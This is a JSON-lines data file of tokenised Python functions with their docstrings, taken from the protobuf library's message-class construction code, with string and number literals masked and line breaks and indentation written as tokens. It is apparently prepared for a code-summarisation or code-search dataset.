{"signature": "def _VerifyExtensionHandle(message, extension_handle):", "body": "if not isinstance(extension_handle, _FieldDescriptor):<EOL><INDENT>raise KeyError('<STR_LIT>' %<EOL>extension_handle)<EOL><DEDENT>if not extension_handle.is_extension:<EOL><INDENT>raise KeyError('<STR_LIT>' % extension_handle.full_name)<EOL><DEDENT>if not extension_handle.containing_type:<EOL><INDENT>raise KeyError('<STR_LIT>'<EOL>% extension_handle.full_name)<EOL><DEDENT>if extension_handle.containing_type is not message.DESCRIPTOR:<EOL><INDENT>raise KeyError('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(extension_handle.full_name,<EOL>extension_handle.containing_type.full_name,<EOL>message.DESCRIPTOR.full_name))<EOL><DEDENT>", "docstring": "Verify that the given extension handle is valid.", "id": "f8655:m1"}
{"signature": "def _AddSlots(message_descriptor, dictionary):", "body": "dictionary['<STR_LIT>'] = ['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>']<EOL>", "docstring": "Adds a __slots__ entry to dictionary, containing the names of all valid\n    attributes for this message type.\n\n    Args:\n      message_descriptor: A Descriptor instance describing this message type.\n      dictionary: Class dictionary to which we'll add a '__slots__' entry.", "id": "f8655:m2"}
{"signature": "def _AddEnumValues(descriptor, cls):", "body": "for enum_type in descriptor.enum_types:<EOL><INDENT>setattr(cls, enum_type.name, enum_type_wrapper.EnumTypeWrapper(enum_type))<EOL>for enum_value in enum_type.values:<EOL><INDENT>setattr(cls, enum_value.name, enum_value.number)<EOL><DEDENT><DEDENT>", "docstring": "Sets class-level attributes for all enum fields defined in this message.\n\n    Also exporting a class-level object that can name enum values.\n\n    Args:\n      descriptor: Descriptor object for this message type.\n      cls: Class we're constructing for this message type.", "id": "f8655:m8"}
{"signature": "def _DefaultValueConstructorForField(field):", "body": "if _IsMapField(field):<EOL><INDENT>return _GetInitializeDefaultForMap(field)<EOL><DEDENT>if field.label == _FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>if field.has_default_value and field.default_value != []:<EOL><INDENT>raise ValueError('<STR_LIT>' % (<EOL>field.default_value))<EOL><DEDENT>if field.cpp_type == _FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>message_type = field.message_type<EOL>def MakeRepeatedMessageDefault(message):<EOL><INDENT>return containers.RepeatedCompositeFieldContainer(<EOL>message._listener_for_children, field.message_type)<EOL><DEDENT>return MakeRepeatedMessageDefault<EOL><DEDENT>else:<EOL><INDENT>type_checker = type_checkers.GetTypeChecker(field)<EOL>def MakeRepeatedScalarDefault(message):<EOL><INDENT>return containers.RepeatedScalarFieldContainer(<EOL>message._listener_for_children, type_checker)<EOL><DEDENT>return MakeRepeatedScalarDefault<EOL><DEDENT><DEDENT>if field.cpp_type == _FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>message_type = field.message_type<EOL>def MakeSubMessageDefault(message):<EOL><INDENT>result = message_type._concrete_class()<EOL>result._SetListener(<EOL>_OneofListener(message, field)<EOL>if field.containing_oneof is not None<EOL>else message._listener_for_children)<EOL>return result<EOL><DEDENT>return MakeSubMessageDefault<EOL><DEDENT>def MakeScalarDefault(message):<EOL><INDENT>return field.default_value<EOL><DEDENT>return MakeScalarDefault<EOL>", "docstring": "Returns a function which returns a default value for a field.\n\n    Args:\n      field: FieldDescriptor object for this field.\n\n    The returned function has one argument:\n      message: Message instance containing this field, or a weakref proxy\n        of same.\n\n    That function in turn returns a default value for this field.  The default\n      value may refer back to |message| via a weak reference.", "id": "f8655:m10"}
{"signature": "def _ReraiseTypeErrorWithFieldName(message_name, field_name):", "body": "exc = sys.exc_info()[<NUM_LIT:1>]<EOL>if len(exc.args) == <NUM_LIT:1> and type(exc) is TypeError:<EOL><INDENT>exc = TypeError('<STR_LIT>' % (str(exc), message_name, field_name))<EOL><DEDENT>six.reraise(type(exc), exc, sys.exc_info()[<NUM_LIT:2>])<EOL>", "docstring": "Re-raise the currently-handled TypeError with the field name added.", "id": "f8655:m11"}
{"signature": "def _AddInitMethod(message_descriptor, cls):", "body": "def _GetIntegerEnumValue(enum_type, value):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if isinstance(value, six.string_types):<EOL><INDENT>try:<EOL><INDENT>return enum_type.values_by_name[value].number<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError('<STR_LIT>' % (<EOL>enum_type.full_name, value))<EOL><DEDENT><DEDENT>return value<EOL><DEDENT>def init(self, **kwargs):<EOL><INDENT>self._cached_byte_size = <NUM_LIT:0><EOL>self._cached_byte_size_dirty = len(kwargs) > <NUM_LIT:0><EOL>self._fields = {}<EOL>self._oneofs = {}<EOL>self._unknown_fields = ()<EOL>self._is_present_in_parent = False<EOL>self._listener = message_listener_mod.NullMessageListener()<EOL>self._listener_for_children = _Listener(self)<EOL>for field_name, field_value in kwargs.items():<EOL><INDENT>field = _GetFieldByName(message_descriptor, field_name)<EOL>if field is None:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" %<EOL>(message_descriptor.name, field_name))<EOL><DEDENT>if field_value is None:<EOL><INDENT>continue<EOL><DEDENT>if field.label == _FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>copy = field._default_constructor(self)<EOL>if field.cpp_type == _FieldDescriptor.CPPTYPE_MESSAGE:  <EOL><INDENT>if _IsMapField(field):<EOL><INDENT>if _IsMessageMapField(field):<EOL><INDENT>for key in field_value:<EOL><INDENT>copy[key].MergeFrom(field_value[key])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>copy.update(field_value)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for val in field_value:<EOL><INDENT>if isinstance(val, dict):<EOL><INDENT>copy.add(**val)<EOL><DEDENT>else:<EOL><INDENT>copy.add().MergeFrom(val)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:  <EOL><INDENT>if field.cpp_type == _FieldDescriptor.CPPTYPE_ENUM:<EOL><INDENT>field_value = [_GetIntegerEnumValue(field.enum_type, val)<EOL>for val in field_value]<EOL><DEDENT>copy.extend(field_value)<EOL><DEDENT>self._fields[field] = copy<EOL><DEDENT>elif field.cpp_type == _FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>copy = field._default_constructor(self)<EOL>new_val = field_value<EOL>if isinstance(field_value, dict):<EOL><INDENT>new_val = field.message_type._concrete_class(**field_value)<EOL><DEDENT>try:<EOL><INDENT>copy.MergeFrom(new_val)<EOL><DEDENT>except TypeError:<EOL><INDENT>_ReraiseTypeErrorWithFieldName(message_descriptor.name, field_name)<EOL><DEDENT>self._fields[field] = copy<EOL><DEDENT>else:<EOL><INDENT>if field.cpp_type == _FieldDescriptor.CPPTYPE_ENUM:<EOL><INDENT>field_value = _GetIntegerEnumValue(field.enum_type, field_value)<EOL><DEDENT>try:<EOL><INDENT>setattr(self, field_name, field_value)<EOL><DEDENT>except TypeError:<EOL><INDENT>_ReraiseTypeErrorWithFieldName(message_descriptor.name, field_name)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>init.__module__ = None<EOL>init.__doc__ = None<EOL>cls.__init__ = init<EOL>", "docstring": "Adds an __init__ method to cls.", "id": "f8655:m12"}
{"signature": "def _GetFieldByName(message_descriptor, field_name):", "body": "try:<EOL><INDENT>return message_descriptor.fields_by_name[field_name]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError('<STR_LIT>' %<EOL>(message_descriptor.name, field_name))<EOL><DEDENT>", "docstring": "Returns a field descriptor by field name.\n\n    Args:\n      message_descriptor: A Descriptor describing all fields in message.\n      field_name: The name of the field to retrieve.\n    Returns:\n      The field descriptor associated with the field name.", "id": "f8655:m13"}
{"signature": "def _AddPropertiesForFields(descriptor, cls):", "body": "for field in descriptor.fields:<EOL><INDENT>_AddPropertiesForField(field, cls)<EOL><DEDENT>if descriptor.is_extendable:<EOL><INDENT>cls.Extensions = property(lambda self: _ExtensionDict(self))<EOL><DEDENT>", "docstring": "Adds properties for all fields in this protocol message type.", "id": "f8655:m14"}
{"signature": "def _AddPropertiesForField(field, cls):", "body": "<EOL>assert _FieldDescriptor.MAX_CPPTYPE == <NUM_LIT:10><EOL>constant_name = field.name.upper() + \"<STR_LIT>\"<EOL>setattr(cls, constant_name, field.number)<EOL>if field.label == _FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>_AddPropertiesForRepeatedField(field, cls)<EOL><DEDENT>elif field.cpp_type == _FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>_AddPropertiesForNonRepeatedCompositeField(field, cls)<EOL><DEDENT>else:<EOL><INDENT>_AddPropertiesForNonRepeatedScalarField(field, cls)<EOL><DEDENT>", "docstring": "Adds a public property for a protocol message field.\n    Clients can use this property to get and (in the case\n    of non-repeated scalar fields) directly set the value\n    of a protocol message field.\n\n    Args:\n      field: A FieldDescriptor for this field.\n      cls: The class we're constructing.", "id": "f8655:m15"}
{"signature": "def _AddPropertiesForRepeatedField(field, cls):", "body": "proto_field_name = field.name<EOL>property_name = _PropertyName(proto_field_name)<EOL>def getter(self):<EOL><INDENT>field_value = self._fields.get(field)<EOL>if field_value is None:<EOL><INDENT>field_value = field._default_constructor(self)<EOL>field_value = self._fields.setdefault(field, field_value)<EOL><DEDENT>return field_value<EOL><DEDENT>getter.__module__ = None<EOL>getter.__doc__ = '<STR_LIT>' % proto_field_name<EOL>def setter(self, new_value):<EOL><INDENT>raise AttributeError('<STR_LIT>'<EOL>'<STR_LIT>' % proto_field_name)<EOL><DEDENT>doc = '<STR_LIT>' % proto_field_name<EOL>setattr(cls, property_name, property(getter, setter, doc=doc))<EOL>", "docstring": "Adds a public property for a \"repeated\" protocol message field.  Clients\n    can use this property to get the value of the field, which will be either a\n    _RepeatedScalarFieldContainer or _RepeatedCompositeFieldContainer (see\n    below).\n\n    Note that when clients add values to these containers, we perform\n    type-checking in the case of repeated scalar fields, and we also set any\n    necessary \"has\" bits as a side-effect.\n\n    Args:\n      field: A FieldDescriptor for this field.\n      cls: The class we're constructing.", "id": "f8655:m16"}
{"signature": "def _AddPropertiesForNonRepeatedScalarField(field, cls):", "body": "proto_field_name = field.name<EOL>property_name = _PropertyName(proto_field_name)<EOL>type_checker = type_checkers.GetTypeChecker(field)<EOL>default_value = field.default_value<EOL>valid_values = set()<EOL>is_proto3 = field.containing_type.syntax == \"<STR_LIT>\"<EOL>def getter(self):<EOL><INDENT>return self._fields.get(field, default_value)<EOL><DEDENT>getter.__module__ = None<EOL>getter.__doc__ = '<STR_LIT>' % proto_field_name<EOL>clear_when_set_to_default = is_proto3 and not field.containing_oneof<EOL>def field_setter(self, new_value):<EOL><INDENT>new_value = type_checker.CheckValue(new_value)<EOL>if clear_when_set_to_default and not new_value:<EOL><INDENT>self._fields.pop(field, None)<EOL><DEDENT>else:<EOL><INDENT>self._fields[field] = new_value<EOL><DEDENT>if not self._cached_byte_size_dirty:<EOL><INDENT>self._Modified()<EOL><DEDENT><DEDENT>if field.containing_oneof:<EOL><INDENT>def setter(self, new_value):<EOL><INDENT>field_setter(self, new_value)<EOL>self._UpdateOneofState(field)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>setter = field_setter<EOL><DEDENT>setter.__module__ = None<EOL>setter.__doc__ = '<STR_LIT>' % proto_field_name<EOL>doc = '<STR_LIT>' % proto_field_name<EOL>setattr(cls, property_name, property(getter, setter, doc=doc))<EOL>", "docstring": "Adds a public property for a nonrepeated, scalar protocol message field.\n    Clients can use this property to get and directly set the value of the field.\n    Note that when the client sets the value of a field by using this property,\n    all necessary \"has\" bits are set as a side-effect, and we also perform\n    type-checking.\n\n    Args:\n      field: A FieldDescriptor for this field.\n      cls: The class we're constructing.", "id": "f8655:m17"}
{"signature": "def _AddPropertiesForNonRepeatedCompositeField(field, cls):", "body": "<EOL>proto_field_name = field.name<EOL>property_name = _PropertyName(proto_field_name)<EOL>def getter(self):<EOL><INDENT>field_value = self._fields.get(field)<EOL>if field_value is None:<EOL><INDENT>field_value = field._default_constructor(self)<EOL>field_value = self._fields.setdefault(field, field_value)<EOL><DEDENT>return field_value<EOL><DEDENT>getter.__module__ = None<EOL>getter.__doc__ = '<STR_LIT>' % proto_field_name<EOL>def setter(self, new_value):<EOL><INDENT>raise AttributeError('<STR_LIT>'<EOL>'<STR_LIT>' % proto_field_name)<EOL><DEDENT>doc = '<STR_LIT>' % proto_field_name<EOL>setattr(cls, property_name, property(getter, setter, doc=doc))<EOL>", "docstring": "Adds a public property for a nonrepeated, composite protocol message field.\n    A composite field is a \"group\" or \"message\" field.\n\n    Clients can use this property to get the value of the field, but cannot\n    assign to the property directly.\n\n    Args:\n      field: A FieldDescriptor for this field.\n      cls: The class we're constructing.", "id": "f8655:m18"}
{"signature": "def _AddPropertiesForExtensions(descriptor, cls):", "body": "extension_dict = descriptor.extensions_by_name<EOL>for extension_name, extension_field in extension_dict.items():<EOL><INDENT>constant_name = extension_name.upper() + \"<STR_LIT>\"<EOL>setattr(cls, constant_name, extension_field.number)<EOL><DEDENT>", "docstring": "Adds properties for all fields in this protocol message type.", "id": "f8655:m19"}
{"signature": "def _IsPresent(item):", "body": "if item[<NUM_LIT:0>].label == _FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>return bool(item[<NUM_LIT:1>])<EOL><DEDENT>elif item[<NUM_LIT:0>].cpp_type == _FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>return item[<NUM_LIT:1>]._is_present_in_parent<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Given a (FieldDescriptor, value) tuple from _fields, return true if the\n    value should be included in the list returned by ListFields().", "id": "f8655:m21"}
{"signature": "def _AddListFieldsMethod(message_descriptor, cls):", "body": "def ListFields(self):<EOL><INDENT>all_fields = [item for item in self._fields.items() if _IsPresent(item)]<EOL>all_fields.sort(key = lambda item: item[<NUM_LIT:0>].number)<EOL>return all_fields<EOL><DEDENT>cls.ListFields = ListFields<EOL>", "docstring": "Helper for _AddMessageMethods().", "id": "f8655:m22"}
{"signature": "def _AddHasFieldMethod(message_descriptor, cls):", "body": "is_proto3 = (message_descriptor.syntax == \"<STR_LIT>\")<EOL>error_msg = _Proto3HasError if is_proto3 else _Proto2HasError<EOL>hassable_fields = {}<EOL>for field in message_descriptor.fields:<EOL><INDENT>if field.label == _FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>continue<EOL><DEDENT>if (is_proto3 and field.cpp_type != _FieldDescriptor.CPPTYPE_MESSAGE and<EOL>not field.containing_oneof):<EOL><INDENT>continue<EOL><DEDENT>hassable_fields[field.name] = field<EOL><DEDENT>if not is_proto3:<EOL><INDENT>for oneof in message_descriptor.oneofs:<EOL><INDENT>hassable_fields[oneof.name] = oneof<EOL><DEDENT><DEDENT>def HasField(self, field_name):<EOL><INDENT>try:<EOL><INDENT>field = hassable_fields[field_name]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError(error_msg % field_name)<EOL><DEDENT>if isinstance(field, descriptor_mod.OneofDescriptor):<EOL><INDENT>try:<EOL><INDENT>return HasField(self, self._oneofs[field].name)<EOL><DEDENT>except KeyError:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if field.cpp_type == _FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>value = self._fields.get(field)<EOL>return value is not None and value._is_present_in_parent<EOL><DEDENT>else:<EOL><INDENT>return field in self._fields<EOL><DEDENT><DEDENT><DEDENT>cls.HasField = HasField<EOL>", "docstring": "Helper for _AddMessageMethods().", "id": "f8655:m23"}
{"signature": "def _AddClearFieldMethod(message_descriptor, cls):", "body": "def ClearField(self, field_name):<EOL><INDENT>try:<EOL><INDENT>field = message_descriptor.fields_by_name[field_name]<EOL><DEDENT>except KeyError:<EOL><INDENT>try:<EOL><INDENT>field = message_descriptor.oneofs_by_name[field_name]<EOL>if field in self._oneofs:<EOL><INDENT>field = self._oneofs[field]<EOL><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>raise ValueError('<STR_LIT>' %<EOL>(message_descriptor.name, field_name))<EOL><DEDENT><DEDENT>if field in self._fields:<EOL><INDENT>if hasattr(self._fields[field], '<STR_LIT>'):<EOL><INDENT>self._fields[field].InvalidateIterators()<EOL><DEDENT>del self._fields[field]<EOL>if self._oneofs.get(field.containing_oneof, None) is field:<EOL><INDENT>del self._oneofs[field.containing_oneof]<EOL><DEDENT><DEDENT>self._Modified()<EOL><DEDENT>cls.ClearField = ClearField<EOL>", "docstring": "Helper for _AddMessageMethods().", "id": "f8655:m24"}
{"signature": "def _AddClearExtensionMethod(cls):", "body": "def ClearExtension(self, extension_handle):<EOL><INDENT>_VerifyExtensionHandle(self, extension_handle)<EOL>if extension_handle in self._fields:<EOL><INDENT>del self._fields[extension_handle]<EOL><DEDENT>self._Modified()<EOL><DEDENT>cls.ClearExtension = ClearExtension<EOL>", "docstring": "Helper for _AddMessageMethods().", "id": "f8655:m25"}
{"signature": "def _AddHasExtensionMethod(cls):", "body": "def HasExtension(self, extension_handle):<EOL><INDENT>_VerifyExtensionHandle(self, extension_handle)<EOL>if extension_handle.label == _FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>raise KeyError('<STR_LIT>' % extension_handle.full_name)<EOL><DEDENT>if extension_handle.cpp_type == _FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>value = self._fields.get(extension_handle)<EOL>return value is not None and value._is_present_in_parent<EOL><DEDENT>else:<EOL><INDENT>return extension_handle in self._fields<EOL><DEDENT><DEDENT>cls.HasExtension = HasExtension<EOL>", "docstring": "Helper for _AddMessageMethods().", "id": "f8655:m26"}
{"signature": "def _InternalUnpackAny(msg):", "body": "type_url = msg.type_url<EOL>db = symbol_database.Default()<EOL>if not type_url:<EOL><INDENT>return None<EOL><DEDENT>type_name = type_url.split(\"<STR_LIT:/>\")[-<NUM_LIT:1>]<EOL>descriptor = db.pool.FindMessageTypeByName(type_name)<EOL>if descriptor is None:<EOL><INDENT>return None<EOL><DEDENT>message_class = db.GetPrototype(descriptor)<EOL>message = message_class()<EOL>message.ParseFromString(msg.value)<EOL>return message<EOL>", "docstring": "Unpacks Any message and returns the unpacked message.\n\n    This internal method is differnt from public Any Unpack method which takes\n    the target message as argument. _InternalUnpackAny method does not have\n    target message type and need to find the message type in descriptor pool.\n\n    Args:\n      msg: An Any message to be unpacked.\n\n    Returns:\n      The unpacked message.", "id": "f8655:m27"}
{"signature": "def _AddEqualsMethod(message_descriptor, cls):", "body": "def __eq__(self, other):<EOL><INDENT>if (not isinstance(other, message_mod.Message) or<EOL>other.DESCRIPTOR != self.DESCRIPTOR):<EOL><INDENT>return False<EOL><DEDENT>if self is other:<EOL><INDENT>return True<EOL><DEDENT>if self.DESCRIPTOR.full_name == _AnyFullTypeName:<EOL><INDENT>any_a = _InternalUnpackAny(self)<EOL>any_b = _InternalUnpackAny(other)<EOL>if any_a and any_b:<EOL><INDENT>return any_a == any_b<EOL><DEDENT><DEDENT>if not self.ListFields() == other.ListFields():<EOL><INDENT>return False<EOL><DEDENT>unknown_fields = list(self._unknown_fields)<EOL>unknown_fields.sort()<EOL>other_unknown_fields = list(other._unknown_fields)<EOL>other_unknown_fields.sort()<EOL>return unknown_fields == other_unknown_fields<EOL><DEDENT>cls.__eq__ = __eq__<EOL>", "docstring": "Helper for _AddMessageMethods().", "id": "f8655:m28"}
{"signature": "def _AddStrMethod(message_descriptor, cls):", "body": "def __str__(self):<EOL><INDENT>return text_format.MessageToString(self)<EOL><DEDENT>cls.__str__ = __str__<EOL>", "docstring": "Helper for _AddMessageMethods().", "id": "f8655:m29"}
{"signature": "def _AddReprMethod(message_descriptor, cls):", "body": "def __repr__(self):<EOL><INDENT>return text_format.MessageToString(self)<EOL><DEDENT>cls.__repr__ = __repr__<EOL>", "docstring": "Helper for _AddMessageMethods().", "id": "f8655:m30"}
{"signature": "def _AddUnicodeMethod(unused_message_descriptor, cls):", "body": "def __unicode__(self):<EOL><INDENT>return text_format.MessageToString(self, as_utf8=True).decode('<STR_LIT:utf-8>')<EOL><DEDENT>cls.__unicode__ = __unicode__<EOL>", "docstring": "Helper for _AddMessageMethods().", "id": "f8655:m31"}
{"signature": "def _BytesForNonRepeatedElement(value, field_number, field_type):", "body": "try:<EOL><INDENT>fn = type_checkers.TYPE_TO_BYTE_SIZE_FN[field_type]<EOL>return fn(field_number, value)<EOL><DEDENT>except KeyError:<EOL><INDENT>raise message_mod.EncodeError('<STR_LIT>' % field_type)<EOL><DEDENT>", "docstring": "Returns the number of bytes needed to serialize a non-repeated element.\n    The returned byte count includes space for tag information and any\n    other additional space associated with serializing value.\n\n    Args:\n      value: Value we're serializing.\n      field_number: Field number of this value.  (Since the field number\n        is stored as part of a varint-encoded tag, this has an impact\n        on the total bytes required to serialize the value).\n      field_type: The type of the field.  One of the TYPE_* constants\n        within FieldDescriptor.", "id": "f8655:m32"}
{"signature": "def _AddByteSizeMethod(message_descriptor, cls):", "body": "def ByteSize(self):<EOL><INDENT>if not self._cached_byte_size_dirty:<EOL><INDENT>return self._cached_byte_size<EOL><DEDENT>size = <NUM_LIT:0><EOL>for field_descriptor, field_value in self.ListFields():<EOL><INDENT>size += field_descriptor._sizer(field_value)<EOL><DEDENT>for tag_bytes, value_bytes in self._unknown_fields:<EOL><INDENT>size += len(tag_bytes) + len(value_bytes)<EOL><DEDENT>self._cached_byte_size = size<EOL>self._cached_byte_size_dirty = False<EOL>self._listener_for_children.dirty = False<EOL>return size<EOL><DEDENT>cls.ByteSize = ByteSize<EOL>", "docstring": "Helper for _AddMessageMethods().", "id": "f8655:m33"}
{"signature": "def _AddSerializeToStringMethod(message_descriptor, cls):", "body": "def SerializeToString(self):<EOL><INDENT>errors = []<EOL>if not self.IsInitialized():<EOL><INDENT>raise message_mod.EncodeError(<EOL>'<STR_LIT>' % (<EOL>self.DESCRIPTOR.full_name, '<STR_LIT:U+002C>'.join(self.FindInitializationErrors())))<EOL><DEDENT>return self.SerializePartialToString()<EOL><DEDENT>cls.SerializeToString = SerializeToString<EOL>", "docstring": "Helper for _AddMessageMethods().", "id": "f8655:m34"}
{"signature": "def _AddSerializePartialToStringMethod(message_descriptor, cls):", "body": "def SerializePartialToString(self):<EOL><INDENT>out = BytesIO()<EOL>self._InternalSerialize(out.write)<EOL>return out.getvalue()<EOL><DEDENT>cls.SerializePartialToString = SerializePartialToString<EOL>def InternalSerialize(self, write_bytes):<EOL><INDENT>for field_descriptor, field_value in self.ListFields():<EOL><INDENT>field_descriptor._encoder(write_bytes, field_value)<EOL><DEDENT>for tag_bytes, value_bytes in self._unknown_fields:<EOL><INDENT>write_bytes(tag_bytes)<EOL>write_bytes(value_bytes)<EOL><DEDENT><DEDENT>cls._InternalSerialize = InternalSerialize<EOL>", "docstring": "Helper for _AddMessageMethods().", "id": "f8655:m35"}
{"signature": "def _AddMergeFromStringMethod(message_descriptor, cls):", "body": "def MergeFromString(self, serialized):<EOL><INDENT>length = len(serialized)<EOL>try:<EOL><INDENT>if self._InternalParse(serialized, <NUM_LIT:0>, length) != length:<EOL><INDENT>raise message_mod.DecodeError('<STR_LIT>')<EOL><DEDENT><DEDENT>except (IndexError, TypeError):<EOL><INDENT>raise message_mod.DecodeError('<STR_LIT>')<EOL><DEDENT>except struct.error as e:<EOL><INDENT>raise message_mod.DecodeError(e)<EOL><DEDENT>return length   <EOL><DEDENT>cls.MergeFromString = MergeFromString<EOL>local_ReadTag = decoder.ReadTag<EOL>local_SkipField = decoder.SkipField<EOL>decoders_by_tag = cls._decoders_by_tag<EOL>is_proto3 = message_descriptor.syntax == \"<STR_LIT>\"<EOL>def InternalParse(self, buffer, pos, end):<EOL><INDENT>self._Modified()<EOL>field_dict = self._fields<EOL>unknown_field_list = self._unknown_fields<EOL>while pos != end:<EOL><INDENT>(tag_bytes, new_pos) = local_ReadTag(buffer, pos)<EOL>field_decoder, field_desc = decoders_by_tag.get(tag_bytes, (None, None))<EOL>if field_decoder is None:<EOL><INDENT>value_start_pos = new_pos<EOL>new_pos = local_SkipField(buffer, new_pos, end, tag_bytes)<EOL>if new_pos == -<NUM_LIT:1>:<EOL><INDENT>return pos<EOL><DEDENT>if not is_proto3:<EOL><INDENT>if not unknown_field_list:<EOL><INDENT>unknown_field_list = self._unknown_fields = []<EOL><DEDENT>unknown_field_list.append(<EOL>(tag_bytes, buffer[value_start_pos:new_pos]))<EOL><DEDENT>pos = new_pos<EOL><DEDENT>else:<EOL><INDENT>pos = field_decoder(buffer, new_pos, end, self, field_dict)<EOL>if field_desc:<EOL><INDENT>self._UpdateOneofState(field_desc)<EOL><DEDENT><DEDENT><DEDENT>return pos<EOL><DEDENT>cls._InternalParse = InternalParse<EOL>", "docstring": "Helper for _AddMessageMethods().", "id": "f8655:m36"}
{"signature": "def _AddIsInitializedMethod(message_descriptor, cls):", "body": "required_fields = [field for field in message_descriptor.fields<EOL>if field.label == _FieldDescriptor.LABEL_REQUIRED]<EOL>def IsInitialized(self, errors=None):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>for field in required_fields:<EOL><INDENT>if (field not in self._fields or<EOL>(field.cpp_type == _FieldDescriptor.CPPTYPE_MESSAGE and<EOL>not self._fields[field]._is_present_in_parent)):<EOL><INDENT>if errors is not None:<EOL><INDENT>errors.extend(self.FindInitializationErrors())<EOL><DEDENT>return False<EOL><DEDENT><DEDENT>for field, value in list(self._fields.items()):  <EOL><INDENT>if field.cpp_type == _FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>if field.label == _FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>if (field.message_type.has_options and<EOL>field.message_type.GetOptions().map_entry):<EOL><INDENT>continue<EOL><DEDENT>for element in value:<EOL><INDENT>if not element.IsInitialized():<EOL><INDENT>if errors is not None:<EOL><INDENT>errors.extend(self.FindInitializationErrors())<EOL><DEDENT>return False<EOL><DEDENT><DEDENT><DEDENT>elif value._is_present_in_parent and not value.IsInitialized():<EOL><INDENT>if errors is not None:<EOL><INDENT>errors.extend(self.FindInitializationErrors())<EOL><DEDENT>return False<EOL><DEDENT><DEDENT><DEDENT>return True<EOL><DEDENT>cls.IsInitialized = IsInitialized<EOL>def FindInitializationErrors(self):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>errors = []  <EOL>for field in required_fields:<EOL><INDENT>if not self.HasField(field.name):<EOL><INDENT>errors.append(field.name)<EOL><DEDENT><DEDENT>for field, value in self.ListFields():<EOL><INDENT>if field.cpp_type == _FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>if field.is_extension:<EOL><INDENT>name = \"<STR_LIT>\" % field.full_name<EOL><DEDENT>else:<EOL><INDENT>name = field.name<EOL><DEDENT>if _IsMapField(field):<EOL><INDENT>if _IsMessageMapField(field):<EOL><INDENT>for key in value:<EOL><INDENT>element = value[key]<EOL>prefix = \"<STR_LIT>\" % (name, key)<EOL>sub_errors = element.FindInitializationErrors()<EOL>errors += [prefix + error for error in sub_errors]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>elif field.label == _FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>for i in range(len(value)):<EOL><INDENT>element = value[i]<EOL>prefix = \"<STR_LIT>\" % (name, i)<EOL>sub_errors = element.FindInitializationErrors()<EOL>errors += [prefix + error for error in sub_errors]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>prefix = name + \"<STR_LIT:.>\"<EOL>sub_errors = value.FindInitializationErrors()<EOL>errors += [prefix + error for error in sub_errors]<EOL><DEDENT><DEDENT><DEDENT>return errors<EOL><DEDENT>cls.FindInitializationErrors = FindInitializationErrors<EOL>", "docstring": "Adds the IsInitialized and FindInitializationError methods to the\n    protocol message class.", "id": "f8655:m37"}
{"signature": "def _AddMessageMethods(message_descriptor, cls):", "body": "_AddListFieldsMethod(message_descriptor, cls)<EOL>_AddHasFieldMethod(message_descriptor, cls)<EOL>_AddClearFieldMethod(message_descriptor, cls)<EOL>if message_descriptor.is_extendable:<EOL><INDENT>_AddClearExtensionMethod(cls)<EOL>_AddHasExtensionMethod(cls)<EOL><DEDENT>_AddEqualsMethod(message_descriptor, cls)<EOL>_AddStrMethod(message_descriptor, cls)<EOL>_AddReprMethod(message_descriptor, cls)<EOL>_AddUnicodeMethod(message_descriptor, cls)<EOL>_AddByteSizeMethod(message_descriptor, cls)<EOL>_AddSerializeToStringMethod(message_descriptor, cls)<EOL>_AddSerializePartialToStringMethod(message_descriptor, cls)<EOL>_AddMergeFromStringMethod(message_descriptor, cls)<EOL>_AddIsInitializedMethod(message_descriptor, cls)<EOL>_AddMergeFromMethod(cls)<EOL>_AddWhichOneofMethod(message_descriptor, cls)<EOL>cls.Clear = _Clear<EOL>cls.DiscardUnknownFields = _DiscardUnknownFields<EOL>cls._SetListener = _SetListener<EOL>", "docstring": "Adds implementations of all Message methods to cls.", "id": "f8655:m43"}
